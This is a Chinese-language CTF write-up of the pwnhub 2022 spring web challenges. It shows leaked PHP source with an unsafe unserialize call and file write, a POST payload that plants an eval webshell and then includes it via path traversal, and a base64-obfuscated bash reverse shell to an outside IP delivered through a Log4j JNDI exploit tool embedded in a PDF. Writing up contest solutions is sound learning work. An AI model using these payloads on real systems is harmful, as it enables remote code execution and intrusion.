pwnhub2022春季赛

pwnhub春季赛web

简介

周末一堆事情,而且周日正常上课,搞得没有好好打。所以认真复现一下。

easycms

  1. mysql恶意服务端读取文件
  2. 路径拼接导致的文件包含

mysql恶意服务端读取任意文件

然后路径大概是这样:

1
2
3
4
5
/var/www/html/route/route.php
/var/www/html/tools/baseTool.php
/var/www/html/tools/userTools/mysqlTool.php
/var/www/html/tools/userTools/base64Tool.php
/var/www/html/tools/userTools/testTool.php

读取到testTool的时候就发现了hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class testTool extends baseTool
{
public function __construct($arg)
{
$this->input["var"] = $arg['Y0U_CA0_n3vEr_F1nD_m3_LOL'] or NULL;
}

public static function init()
{
parent::userToolInit(__CLASS__, './index.php?s=tool/test', 'testxe7xb1xbb');
}

private function test()
{
@mkdir("/tmp/sandbox");
if (is_string($this->input["var"])) {
$value = unserialize($this->input["var"]);
$this->output = $value();
} else if (is_array($this->input["var"])) {
$value = $this->input["var"];
$path = '/tmp/sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($path)) {
mkdir($path, 0777, true);
}
@file_put_contents($path.'/'.basename($value['file']), $value['data']);
} else {
$this->output = NULL;
}
}

public function __invoke()
{
call_user_func(array($this, 'test'));
return $this->output;
}
}

他有一个反序列化字符串的地方,没有过滤或者限制

因此直接就能phpinfo

image.png

但是并没有什么用,不过我们可以知道remote_addr的值为218.94.97.29

image.png

接下来尝试用下面的方法写shell进去,没有任何过滤

但是写入的shell会在/tmp/sandbox/027abbac7d8dc5486b5f33965cfce8c4/目录下,没办法直接访问

因为$this->class可控而且拼接,所以可以直接目录穿越包含刚刚写入的shell

但是这里要注意他有个后缀Tool.php,因此写入的时候让文件名也是xxxTool.php即可

image.png

写入:

post

1
Y0U_CA0_n3vEr_F1nD_m3_LOL[file]=asoulTool.php&Y0U_CA0_n3vEr_F1nD_m3_LOL[data]=<?php eval($_POST[1]);?>

包含:

image.png

EzPDFParser

https://votiro.com/blog/preventing-log4j-cve-2021-44228-exploits-using-pdf-as-a-delivery-channel/

漏洞复现类赛题

通过题目war包可以看到log4j的依赖

反弹shell

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNy4xNDQuNDEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

vps开启监听

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNy4xNDQuNDEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 1.117.144.41

pdf插入payload

image.png

image.png

ezflask

并发可以写入,比赛的时候写进去了,但是当时环境有问题,之后修复环境之后一血就没了